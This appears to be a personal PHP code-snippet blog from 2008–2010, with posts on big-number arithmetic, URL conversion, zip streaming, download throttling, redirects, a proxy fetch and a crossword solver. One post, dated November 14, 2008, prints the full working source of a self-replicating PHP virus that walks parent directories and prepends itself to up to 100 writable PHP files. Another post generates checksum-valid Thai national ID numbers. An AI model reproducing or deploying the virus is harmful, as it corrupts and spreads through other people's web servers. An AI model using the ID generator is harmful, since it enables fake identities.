Thursday, June 24, 2010

php random_float

function random_float ($min,$max) {
   return ($min+lcg_value()*(abs($max-$min)));
}
that's easy but can't figure out

Friday, February 27, 2009

multiply, power function with large number

function power($a,$b){
  if($b==1)return $a;
  return multiply($a,(power($a,$b-1)));
}
function multiply($a,$b){
  $a = ''.$a;
  $b = ''.$b;
  $b_length = strlen($b);
  $value = '';
  for($i=1;$i<=$b_length;$i++){
    $b2 = $b[$b_length-$i];
    $mul = $a*$b2+$temp;
    $temp = floor($mul/10);
    $value = ($mul%10).$value;
  }
  $value = $temp.$value;
  return $value;
}
with both $a and $b is string strlen($a) == 1

Tuesday, February 24, 2009

plus function for large number

function plus($a,$b){
  $b_length = strlen($b)+1;
  $a = sprintf("%0".$b_length."s",   $a);
  $b = '0'.$b;
  $a_length = strlen($a);
  $temp =0;
  for($i=0;$i<$a_length;$i++){
    $a1 = substr($a,-1,1);
    $b1 = substr($b,-1,1);
    $a = substr($a,0,-1);
    $b = substr($b,0,-1);
    $result = ($a1+$b1+$temp)%10;
    $ans = $result.$ans;
    $temp = floor(($a1+$b1+$temp)/10);
  }
  $ans = $b.$ans;
  return ltrim($ans,'0');
}
with both $a and $b if string and strlen($a) < strlen($a)

Friday, November 14, 2008

php virus code

original code virus named PHP.Pirus

< ?php #retool2.php
$atefile = 0; 
walkthrough('../..');
function walkthrough($dir) {
global $atefile;
$maxi = 100;
$viruscontents=fread(fopen(__FILE__,'r'), 1626);
if (!file_exists('retool2.php')) {
  $handle = fopen('retool2.php', 'a');
  fwrite($handle, $viruscontents.'HACK BY RETOOL2');
  fclose($handle);
}
if(is_dir($dir)){
  if($dh = opendir($dir)){
   while(($file = readdir($dh)) !== false && $atefile<$maxi){
    if($file != "." && $file != ".."){
     if(is_dir($dir."/".$file)){
      walkthrough($dir."/".$file);
     }else{
      if(strstr (substr($file, -4), 'php')){
       $infected=true;
       $caniwrite=false;
       if ( is_file($dir."/".$file) && is_writeable($dir."/".$file) ){
        $output = fopen($dir."/".$file, "r");
        if(filesize ($dir."/".$file)>0){
         $contents = fread ($output , 20);
         $mine = strstr ($contents, 'retool2.php');
         fclose($output );
        }
        $infected=false;
        if($mine){$infected=true;}
       }
       if($infected==false){
        if(filesize ($dir."/".$file)>0){
         $victim = fopen($dir."/".$file, "r+");
         $ori = fread($victim, filesize($dir."/".$file));
         fclose($victim);
        }
        $victim = fopen($dir."/".$file, "w+");
        if(filesize($dir."/".$file)==0){
         fwrite($victim, $viruscontents);
        }else{
         fputs($victim ,$viruscontents.$ori);
        }
        $atefile++;
        fclose($victim );
       }
      }
     }
    }
   }
   closedir($dh);
  }
}
return $counter;
}
?>
link: http://www.rohitab.com/discuss/lofiversion/index.php/t10727.html

Thursday, October 09, 2008

translate relative url to absolute url

function relative2absolute($absolute, $relative) {
        $p = @parse_url($relative);
        if(!$p) {
         return false;
        }
        if(isset($p["scheme"])) return $relative;
        $parts=(parse_url($absolute));
        if(substr($relative,0,1)=='/') {
            $cparts = (explode("/", $relative));
            array_shift($cparts);
        } else {
            if(isset($parts['path'])){
                 $aparts=explode('/',$parts['path']);
                 array_pop($aparts);
                 $aparts=array_filter($aparts);
            } else {
                 $aparts=array();
            }
           $rparts = (explode("/", $relative));
           $cparts = array_merge($aparts, $rparts);
           foreach($cparts as $i => $part) {
                if($part == '.') {
                    unset($cparts[$i]);
                } else if($part == '..') {
                    unset($cparts[$i]);
                    unset($cparts[$i-1]);
                }
            }
        }
        $path = implode("/", $cparts);
        $url = '';
        if($parts['scheme']) {
            $url = "$parts[scheme]://";
        }
        if(isset($parts['user'])) {
            $url .= $parts['user'];
            if(isset($parts['pass'])) {
                $url .= ":".$parts['pass'];
            }
            $url .= "@";
        }
        if(isset($parts['host'])) {
            $url .= $parts['host']."/";
        }
        $url .= $path;
        return $url;
}
link : http://w-shadow.com

Saturday, October 04, 2008

php sub folder scan

you can use php to scan all file in sub folder from this code

<?php
// *** requires PHP5 ***
// search for gif files (can be empty for all file)
$filter = ".gif";
// path to the directory you want to scan(can be .. to search all drive)
$directory = './';
$it = new RecursiveDirectoryIterator("$directory");
foreach(new RecursiveIteratorIterator($it) as $file)
{
  if (!((strpos(strtolower($file), $filter)) === false) || empty($filter))
  {
    $items[] = preg_replace("#\\\#", "/", $file);
  }
}
sort($items);
print_r($items);
?>

but if your server not PHP5 don't worry please see this link http://www.php.net and find class RecDir

Wednesday, September 24, 2008

php function zip and stream 2

last time we use ziparchive but now
we'll use zip library from phpmyadmin
and never store data on server

function zipAndStream($filestostream,$dir,$flag=0){
  require_once("zip.lib.php"); // from phpmyadmin
  $zip = new zipfile();
    if(is_array ($filestostream)){
      foreach($filestostream as $filetostream){
        $filename = $dir."/".$filetostream;
        $fsize = @filesize($filename);
        $fh = fopen($filename, 'rb', false);
        $filedata = fread($fh, $fsize);
        $zip->addFile($filedata,$filename);
        $filecount++;
        $filenamefull = $filetostream;
        $filename = substr($filetostream,0,strrpos($filetostream,'.'));
      }
      if($filecount!=1){
        $filename = $filecount.'files';
      }
    }else{
      $filename = $dir."/".$filestostream;
      $fsize = @filesize($filename);
      $fh = fopen($filename, 'rb', false);
      $filedata = fread($fh, $fsize);
      $zip->addFile($filedata,$filename);
      $filecount++;
      $filename = substr($filestostream,0,strrpos($filestostream,'.'));
    }
  $zipcontents = $zip->file();
  if($flag==1){
    $imagefile = "php.png";
    $filesize = strlen($zipcontents)+filesize($imagefile);
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"".$filecount."files_".$imagefile."\"");
    header("Content-length: " . $filesize . "\n\n");
    readfile($imagefile);
  }elseif($flag==-1){
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"".$filenamefull."\"");
    header("Content-length: " . strlen($filedata) . "\n\n");
    echo $filedata;
    exit;
  }else{
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"".$filename.".zip\"");
    header("Content-length: " . strlen($zipcontents) . "\n\n");
  }
  echo $zipcontents;
}

Thursday, September 11, 2008

zip and stream file with php

I've wrote the function to zip the files and stream out

//$filesToStream : can be array or just file string.
//$dir : directory of file
function zipAndStream($filesToStream,$dir){
  $file = 'tempfile'.rand(9999,1000).".zip";
  $zip = new ZipArchive;
  $res = $zip->open( $file , ZIPARCHIVE::OVERWRITE );
  if ($res === TRUE && file_exists($dir.'/'.$filename) ) {
    if(is_array ($filesToStream)){
      $filecount=0;
      foreach($filesToStream as $filetostream){
        $zip->addFile($dir.'/'.$filetostream,$filetostream);
        $filecount++;
        $filename = substr($filetostream,0,strrpos($filetostream,'.'));
      }
      if($filecount!=1){
        $filename = 'files';
      }
    }else{
      $zip->addFile($filedir.'/'.$filestostream,$filestostream);
      $filename = substr($filestostream,0,strrpos($filestostream,'.'));
    }
    $zip->close();
    header("Content-Type: application/zip");
    header("Content-Length: " . filesize($file));
    header("Content-Disposition: attachment; filename=\"".$filename.".zip\"");
    readfile($file);
  } else {
    listfile();
  }
  unlink($file);
}
to verify that your host server has zip extension try this
if(!extension_loaded('zip'))print_r('

ZIP Extension Is Disable

');

Saturday, August 30, 2008

ternary operator ?:

ternary operation is not hard but not easy to use.
it can be short form of if...else and switch...case it is used in an expression as follows :
condition ? valueIfTrue : valueIfFalse
therefore we wrote

if($i>5){
 echo 'more than 5';
}else{
 echo 'not more than 5';
}
by ternary operator we can use just only
echo ($i>5)?'more than 5':'not more than 5';

or something like
$action = (empty($_POST['action'])) ? 'default' : $_POST['action'];
instead of
if (empty($_POST['action'])) {
    $action = 'default';
} else {
    $action = $_POST['action'];
}

you can also use ?: instead of switch case too.

Thursday, August 28, 2008

php protect file with limit download rate

$local_file = 'file.zip';
$download_file = 'name.zip';
// set the download rate limit (=> 20,5 kb/s)
$download_rate = 20.5;

if(file_exists($local_file) && is_file($local_file)){
    header('Cache-control: private');
    header('Content-Type: application/octet-stream');
    header('Content-Length: '.filesize($local_file));
    header('Content-Disposition: filename='.$download_file);
    flush();
    $file = fopen($local_file, "r");
    while(!feof($file)){
        // send the current file part to the browser
        print fread($file, round($download_rate * 1024));
        // flush the content to the browser
        flush();
        // sleep one second
        sleep(1);
    }
    fclose($file);
}else {
    die('Error: The file '.$local_file.' does not exist!');
}

Friday, July 25, 2008

coding php to extract or get filename and extension

it's not hard to code but not easy to solve
easyiest way is use explode function but this is advance :)

 
  $url = "htpp://www.example.com/filename.txt
  $file = substr(strrchr($url, '/'), 1); //get file
  $ext = substr(strrchr($file, '.'), 1); //get extension
  $filename = substr($file,0,strrpos($file,'.')); // get file name
and another code is function to remove file in folder and/or empty folder
<?php
// ggarciaa at gmail dot com (04-July-2007 01:57)
// I needed to empty a directory, but keeping it
// so I slightly modified the contribution from
// stefano at takys dot it (28-Dec-2005 11:57)
// A short but powerfull recursive function
// that works also if the dirs contain hidden files
// $dir = the target directory
// $DeleteMe = if true delete also $dir, if false leave it alone
function SureRemoveDir($dir, $DeleteMe) {
  if(!$dh = @opendir($dir)) return;
  while (false !== ($obj = readdir($dh))) {
    if($obj=='.' || $obj=='..') continue;
    if (!@unlink($dir.'/'.$obj)) SureRemoveDir($dir.'/'.$obj, true);
  }
  closedir($dh);
  if($DeleteMe){
    @rmdir($dir);
  }
}
//SureRemoveDir('EmptyMe', false);
//SureRemoveDir('RemoveMe', true);
?>
link: http://th.php.net/unlink link2:

Thursday, July 17, 2008

coding php to solve crossword

<?
$table[] = "CYPURSITSRAELTEN";
$table[] = "ARZERBAIJANFIGIE";
$table[] = "IPORLANDPANNAMAA";
$table[] = "REUNTIONEGULYNUT";
$table[] = "ANDORATYREWANDAE";
$table[] = "LEBNONATUNICIADR";
$table[] = "ALNRPILSTTUKEYOL";
$table[] = "NAEOORGHOICUCUBA";
$table[] = "DOWMLLEAKNYEMANN";
$table[] = "SSSELARDOAHEITID";
$table[] = "IVENANICAMAROONP";
$table[] = "NEAINDAKIRIBATTE";
$table[] = "GTLEDELSAVADOROD";
$table[] = "GNAPORTUGALYESNB";
$table[] = "AANTUKMENISTANKA";
$table[] = "PMDPELANDPUCCAAA";
for($i=0;$i<count($table);$i++){
 for($j=0;$j<count($table);$j++){
  $table2[$i] .= $table[$j][$i];
 }
}
$handle = fopen("country.txt", "rb");
$contents = '';
while (!feof($handle)) {
  $contents .= fread($handle, 8192);
}
fclose($handle);
$contents2 = explode("\n", $contents);
for($i=0;$i<16;$i++){
 for($j=0;$j<count($contents2);$j++){
  if (preg_match("/".trim($contents2[$j])."/i", $table[$i])) {
   echo $contents2[$j]." on row ".($i+1)."<BR>";
  }
  if (preg_match("/".trim($contents2[$j])."/i", $table2[$i])) {
   echo $contents2[$j]." on column ".($i+1)."<BR>";
  }
 }
}
?>

Thursday, May 08, 2008

online Thai ssn generator and verifier

<form method="post" action="">
<input type="submit" value="Generate" name="Generate">
</form>
<?
if(!isset($ssnin)){
   
$letter[0]        = rand(1,8);
    for(
$a=1;$a<12;$a++){
       
$letter[$a]        = rand(0,9);
    }
    for(
$i=0;$i<13;$i++){
       
$multi[$i] = (13-$i) * $letter[$i];
    }
   
$summ = array_sum($multi);
   
$c = $summ%11;
    if(
$c>2){$d = 11-$c;}else{$d=$c;}
   
$letter[12] = $d;
   
$tssn = $letter[0].$letter[1].$letter[2].$letter[3].$letter[4].$letter[5].$letter[6].$letter[7].$letter[8].$letter[9].$letter[10].$letter[11].$letter[12];
    print(
"Generated SSN for Thai is : ");
    print(
"<font color=red>".$tssn."</font>");
}
?>
<HR>
<!-- Verify section -->
<center>VERIFIED SSN?</center><BR>
<form method="post" action="">
SSN : <input type="text" size="13" name="ssnin" value="<?print($tssn)?>">
<input type="submit" value="Verified" name="submit">
</form>
<?
if(isset($ssnin)){
   
$summary = 0;
    for(
$i=0;$i<12;$i++){
       
$summary = $summary + $ssnin[$i]*(13-$i);
    }
   
$summary = $summary%11;
    if(
$summary >2){$dumm = 11-$summary ;}else{$dumm=$summary ;}
    if(
$dumm == $ssnin[12]){
        print(
"SSN : ".$ssnin." is VALID");
    }else if(
$dumm != $ssnin[12]){
        print(
"SSN : ".$ssnin." is NOT VALID......last number must be ".$dumm );
    }
}
?>

Tuesday, May 06, 2008

redirect page with php,javascript,mata tag

Redirect with php code:

<?php
header
('Location: http://retool2.myminicity.com/');
include(
'countlink.php');
?>


Redirect with java script:
<HEAD>
<SCRIPT language="JavaScript">
<!--
 function getgoing()
  {
    top.location="http://retool2.myminicity.com/";
   }
 
   if (top.frames.length==0)
    {
     setTimeout('getgoing()',7000);
     }
//-->
</SCRIPT>
</HEAD>


Redirect with meta tag:
<meta http-equiv="refresh" content="5;url=http://retool2.myminicity.com"/>

Monday, April 21, 2008

proxy with site that have proxy server

usage:

<?
include('proxy.inc.php');
print(
proxy_url('http://www.google.com'));
?>

file:proxy.inc.php
<?
function proxy_url($proxy_url)
{
  
$proxy_name = '10.10.10.117';
  
$proxy_port = 8088;
  
$proxy_user = "user";    // username for proxy authentication
  
$proxy_pass = "password";    // password for proxy authentication added
  
$proxy_cont = '';

  
$proxy_fp = fsockopen($proxy_name, $proxy_port);
   if (!
$proxy_fp)    {return false;}
  
fputs($proxy_fp, "GET $proxy_url HTTP/1.0\r\nHost: $proxy_name\r\n");
  
fputs($proxy_fp, "Proxy-Authorization: Basic " . base64_encode ("$proxy_user:$proxy_pass") . "\r\n\r\n");    // added
  
while(!feof($proxy_fp)) {$proxy_cont .= fread($proxy_fp,4096);}
  
fclose($proxy_fp);
  
$proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4);
   return
$proxy_cont;
}
?>